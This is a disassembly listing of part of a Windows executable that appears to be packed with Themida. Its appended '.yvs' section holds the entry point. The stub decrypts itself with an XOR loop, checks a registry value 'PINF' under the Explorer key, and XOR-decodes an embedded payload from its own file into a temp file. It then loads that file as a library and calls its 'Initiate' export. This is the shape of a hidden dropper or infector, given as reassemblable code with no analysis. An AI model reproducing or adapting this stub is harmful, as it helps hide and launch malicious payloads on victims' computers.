db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллл',0
align 800h
Themida_ ends
; Section 5. (virtual address 001C1000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 001C1000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_yvs_ segment para public 'CODE' use32
assume cs:_yvs_
;org 5C1000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
public start
start:
push 2E5CF5h
pop ebx
nop
nop
mov edi, offset loc_5C101C
nop
mov edx, 598h
loc_5C1013: ; CODE XREF: .yvs_:loc_5C101Cj
xor [edx+edi], ebx
sub edx, 3
dec edx
nop
nop
loc_5C101C: ; DATA XREF: .yvs_:005C1008o
jnz short loc_5C1013
nop
nop
call sub_5C11A2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 400000h, 0E0014h, 7BE00h, 7C3D6h, 2B000h, 0FFFFFFFFh
dd 4DF000h, 4DF05Fh, 4DF06Dh, 3 dup(0)
dd 1D600h, 0DF05Dh, 0DF06Bh, 4 dup(0)
dd offset dword_4DF000
dd 0Ah dup(0)
db 0F5h ; У
db 5Ch, 2Eh, 0
db 4Bh ; K
db 65h, 72h, 6Eh
db 65h ; e
db 6Ch, 33h, 32h
db 2Eh ; .
db 64h, 2 dup(6Ch)
db 0
aGettemppatha db 'GetTempPathA',0
aGettempfilenam db 'GetTempFileNameA',0
aCreatefilea db 'CreateFileA',0
aReadfile_0 db 'ReadFile',0
aWritefile db 'WriteFile',0
aSetfilepointer db 'SetFilePointer',0
aClosehandle db 'CloseHandle',0
aGettickcount db 'GetTickCount',0
aGetmodulefilen db 'GetModuleFileNameA',0
aAdvapi32_dll_0 db 'ADVAPI32.dll',0
aRegopenkeyex_0 db 'RegOpenKeyExA',0
aRegqueryvalu_0 db 'RegQueryValueExA',0
aRegclosekey_0 db 'RegCloseKey',0
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
aPinf db 'PINF',0
aInitiate db 'Initiate',0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5C11A2 proc near ; CODE XREF: .yvs_:005C1020p
var_140 = word ptr -140h
var_13E = byte ptr -13Eh
var_38 = byte ptr -38h
push ebp
mov ebp, esp
add esp, 0FFFFFEC0h
mov eax, ebp
add eax, 4
mov edx, ebp
push ebx
push esi
push edi
xor ebx, ebx
mov edi, [eax]
lea ecx, [ebp+var_38]
sub edi, 5
mov eax, [edi+0Ch]
lea esi, [edi+84h]
add eax, [edi+8]
add edx, 4
mov [edx], eax
push esi
push edi
push ecx
call sub_5C1242
test al, al
jz short loc_5C123A
push esi
lea eax, [ebp+var_38]
push eax
lea edx, [ebp+var_140]
push edx
call sub_5C134E
test al, al
jz short loc_5C120F
cmp [ebp+var_140], 7
jb short loc_5C120F
push esi
push edi
lea ecx, [ebp+var_38]
push ecx
lea eax, [ebp+var_13E]
push eax
call sub_5C13B6
mov ebx, eax
loc_5C120F: ; CODE XREF: sub_5C11A2+4Dj
; sub_5C11A2+57j
test bl, bl
jnz short loc_5C123A
push edi
lea eax, [ebp+var_38]
push eax
lea edx, [ebp+var_13E]
push edx
call sub_5C13EE
test al, al
jz short loc_5C123A
push esi
push edi
lea ecx, [ebp+var_38]
push ecx
lea eax, [ebp+var_13E]
push eax
call sub_5C13B6
loc_5C123A: ; CODE XREF: sub_5C11A2+38j
; sub_5C11A2+6Fj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_5C11A2 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5C1242 proc near ; CODE XREF: sub_5C11A2+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov ebx, [ebp+arg_0]
mov edi, [ebp+arg_8]
mov edx, [eax+20h]
mov ecx, [edx]
mov [ebx], ecx
mov eax, [ebp+arg_4]
mov edx, [eax+20h]
add edx, 4
mov ecx, [edx]
mov [ebx+4], ecx
push edi
call dword ptr [ebx]
mov esi, eax
test esi, esi
jz loc_5C12FF
mov eax, [ebp+arg_4]
push dword ptr [eax+24h]
push esi
call dword ptr [ebx+4]
mov edx, [ebp+arg_4]
mov ecx, [edx+20h]
mov [ecx], eax
mov eax, [ebp+arg_4]
push dword ptr [eax+28h]
push esi
call dword ptr [ebx+4]
mov edx, [ebp+arg_4]
mov ecx, [edx+20h]
add ecx, 4
mov [ecx], eax
lea eax, [edi+0Dh]
push eax
push esi
call dword ptr [ebx+4]
mov [ebx+8], eax
lea edx, [edi+1Ah]
push edx
push esi
call dword ptr [ebx+4]
mov [ebx+0Ch], eax
lea ecx, [edi+2Bh]
push ecx
push esi
call dword ptr [ebx+4]
mov [ebx+10h], eax
lea eax, [edi+37h]
push eax
push esi
call dword ptr [ebx+4]
mov [ebx+14h], eax
lea edx, [edi+40h]
push edx
push esi
call dword ptr [ebx+4]
mov [ebx+18h], eax
lea ecx, [edi+4Ah]
push ecx
push esi
call dword ptr [ebx+4]
mov [ebx+1Ch], eax
lea eax, [edi+59h]
push eax
push esi
call dword ptr [ebx+4]
mov [ebx+20h], eax
lea edx, [edi+65h]
push edx
push esi
call dword ptr [ebx+4]
mov [ebx+24h], eax
lea ecx, [edi+72h]
push ecx
push esi
call dword ptr [ebx+4]
mov [ebx+28h], eax
jmp short loc_5C1303
; ---------------------------------------------------------------------------
loc_5C12FF: ; CODE XREF: sub_5C1242+2Bj
xor eax, eax
jmp short loc_5C1344
; ---------------------------------------------------------------------------
loc_5C1303: ; CODE XREF: sub_5C1242+BBj
lea edx, [edi+85h]
push edx
call dword ptr [ebx]
mov esi, eax
test esi, esi
jz short loc_5C133E
lea eax, [edi+92h]
push eax
push esi
call dword ptr [ebx+4]
mov [ebx+2Ch], eax
lea edx, [edi+0A0h]
push edx
push esi
call dword ptr [ebx+4]
mov [ebx+30h], eax
add edi, 0B1h
push edi
push esi
call dword ptr [ebx+4]
mov [ebx+34h], eax
jmp short loc_5C1342
; ---------------------------------------------------------------------------
loc_5C133E: ; CODE XREF: sub_5C1242+CEj
xor eax, eax
jmp short loc_5C1344
; ---------------------------------------------------------------------------
loc_5C1342: ; CODE XREF: sub_5C1242+FAj
mov al, 1
loc_5C1344: ; CODE XREF: sub_5C1242+BFj
; sub_5C1242+FEj
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_5C1242 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5C134E proc near ; CODE XREF: sub_5C11A2+46p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
lea eax, [ebp+var_4]
push ebx
push esi
push edi
xor ebx, ebx
mov edi, [ebp+arg_8]
mov esi, [ebp+arg_4]
mov [ebp+var_8], 106h
push eax
push 20019h
lea edx, [edi+0BDh]
push 0
push edx
push 80000001h
call dword ptr [esi+2Ch]
test eax, eax
jnz short loc_5C13AA
lea ecx, [ebp+var_8]
add edi, 0F0h
push ecx
push [ebp+arg_0]
push 0
push 0
push edi
push [ebp+var_4]
call dword ptr [esi+30h]
test eax, eax
setz bl
and ebx, 1
push [ebp+var_4]
call dword ptr [esi+34h]
loc_5C13AA: ; CODE XREF: sub_5C134E+34j
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn 0Ch
sub_5C134E endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5C13B6 proc near ; CODE XREF: sub_5C11A2+66p
; sub_5C11A2+93p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [ebx]
test eax, eax
jz short loc_5C13E5
mov edx, [ebp+arg_C]
add edx, 0F5h
push edx
push eax
call dword ptr [ebx+4]
test eax, eax
jz short loc_5C13E5
push [ebp+arg_8]
call eax
test al, al
jz short loc_5C13E5
mov al, 1
jmp short loc_5C13E7
; ---------------------------------------------------------------------------
loc_5C13E5: ; CODE XREF: sub_5C13B6+Ej
; sub_5C13B6+20j ...
xor eax, eax
loc_5C13E7: ; CODE XREF: sub_5C13B6+2Dj
pop ebx
pop ebp
retn 10h
sub_5C13B6 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5C13EE proc near ; CODE XREF: sub_5C11A2+7Dp
var_2914 = byte ptr -2914h
var_114 = byte ptr -114h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
mov eax, 2
loc_5C13F7: ; CODE XREF: sub_5C13EE+11j
add esp, 0FFFFF004h
push eax
dec eax
jnz short loc_5C13F7
mov eax, [ebp+var_4]
add esp, 0FFFFF6F0h
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_0]
push 104h
lea eax, [ebp+var_114]
push eax
push 0
call dword ptr [ebx+28h]
push 0
push 1
push 3
push 0
push 1
lea edx, [ebp+var_114]
push 80000000h
push edx
call dword ptr [ebx+10h]
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_5C1577
lea eax, [ebp+var_114]
push eax
push 104h
call dword ptr [ebx+8]
call dword ptr [ebx+24h]
mov [ebp+var_8], eax
xor ecx, ecx
loc_5C145F: ; CODE XREF: sub_5C13EE+8Bj
xor eax, eax
mov al, byte ptr [ebp+ecx+var_8]
push ecx
mov ecx, 0Ah
cdq
idiv ecx
pop ecx
add al, 61h
mov byte ptr [ebp+ecx+var_8], al
inc ecx
cmp ecx, 2
jle short loc_5C145F
mov byte ptr [ebp+var_8+3], 0
push esi
push 0
lea ecx, [ebp+var_8]
push ecx
lea eax, [ebp+var_114]
push eax
call dword ptr [ebx+0Ch]
push 0
push 80h
push 2
push 0
push 1
push 0C0000000h
push esi
call dword ptr [ebx+10h]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jz loc_5C156D
mov edx, [ebp+arg_8]
mov esi, [edx+18h]
push 0
push 0
mov eax, [ebp+arg_8]
push dword ptr [eax+14h]
push edi
call dword ptr [ebx+1Ch]
cmp esi, 2800h
jbe short loc_5C1525
loc_5C14CF: ; CODE XREF: sub_5C13EE+135j
push 0
lea edx, [ebp+var_10]
push edx
push 2800h
lea ecx, [ebp+var_2914]
push ecx
push edi
call dword ptr [ebx+14h]
push 2800h
lea eax, [ebp+var_2914]
push eax
mov edx, [ebp+arg_8]
push dword ptr [edx+80h]
call sub_5C158A
lea ecx, [ebp+var_10]
push 0
push ecx
lea eax, [ebp+var_2914]
push 2800h
push eax
push [ebp+var_C]
call dword ptr [ebx+18h]
sub esi, 2800h
cmp esi, 2800h
ja short loc_5C14CF
loc_5C1525: ; CODE XREF: sub_5C13EE+DFj
push 0
lea edx, [ebp+var_10]
push edx
push esi
lea ecx, [ebp+var_2914]
push ecx
push edi
call dword ptr [ebx+14h]
push esi
lea eax, [ebp+var_2914]
push eax
mov edx, [ebp+arg_8]
push dword ptr [edx+80h]
call sub_5C158A
push 0
lea ecx, [ebp+var_10]
push ecx
push esi
lea eax, [ebp+var_2914]
push eax
push [ebp+var_C]
call dword ptr [ebx+18h]
push [ebp+var_C]
call dword ptr [ebx+20h]
mov byte ptr [ebp+var_4+3], 1
jmp short loc_5C1571
; ---------------------------------------------------------------------------
loc_5C156D: ; CODE XREF: sub_5C13EE+BFj
mov byte ptr [ebp+var_4+3], 0
loc_5C1571: ; CODE XREF: sub_5C13EE+17Dj
push edi
call dword ptr [ebx+20h]
jmp short loc_5C157B
; ---------------------------------------------------------------------------
loc_5C1577: ; CODE XREF: sub_5C13EE+54j
mov byte ptr [ebp+var_4+3], 0
loc_5C157B: ; CODE XREF: sub_5C13EE+187j
mov al, byte ptr [ebp+var_4+3]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_5C13EE endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5C158A proc near ; CODE XREF: sub_5C13EE+10Cp
; sub_5C13EE+15Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_8]
test ecx, ecx
jns short loc_5C159E
add ecx, 3
loc_5C159E: ; CODE XREF: sub_5C158A+Fj
sar ecx, 2
xor eax, eax
cmp ecx, eax
jle short loc_5C15AF
loc_5C15A7: ; CODE XREF: sub_5C158A+23j
xor [edx+eax*4], ebx
inc eax
cmp ecx, eax
jg short loc_5C15A7
loc_5C15AF: ; CODE XREF: sub_5C158A+1Bj
pop ebx
pop ebp
retn 0Ch
sub_5C158A endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dw 2Eh
aLoadlibrarya db 'LoadLibraryA',0
db 2 dup(0), 47h
aEtprocaddress db 'etProcAddress',0
dw 6B8h
dd 5CF7007Eh, 5CF1002Eh, 0A30A0021h, 5C4D002Eh, 5CF5002Eh
dd 5CB5002Eh, 5CF50034h, 3 dup(5CF5002Eh), 280h dup(0)
_yvs_ ends
; Section 6. (virtual address 001C2000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001C2000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5C2000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start